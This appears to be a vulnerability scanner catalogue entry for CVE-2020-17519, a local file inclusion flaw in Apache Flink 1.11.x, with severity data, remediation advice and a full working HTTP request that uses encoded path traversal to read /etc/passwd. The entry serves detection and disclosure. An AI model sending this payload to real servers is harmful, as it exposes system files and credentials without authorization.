| Title | Apache Flink - Local File Inclusion |
|---|---|
| Author | pdteam |
| Severity | High |
| Impact | Unauthenticated attackers can read arbitrary files from the JobManager local filesystem, potentially exposing sensitive configuration files, credentials, and proprietary data. |
| Remediation | Apply the latest security patches or upgrade to a patched version of Apache Flink to mitigate the vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.94383 |
| CVE ID | CVE-2020-17519 |
| CWE ID | CWE-552 |
| Tags | cve cve2020 apache lfi flink kev vkev vuln |
Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process (aka local file inclusion).
GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-17519.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-17519.pcap
N/AN/A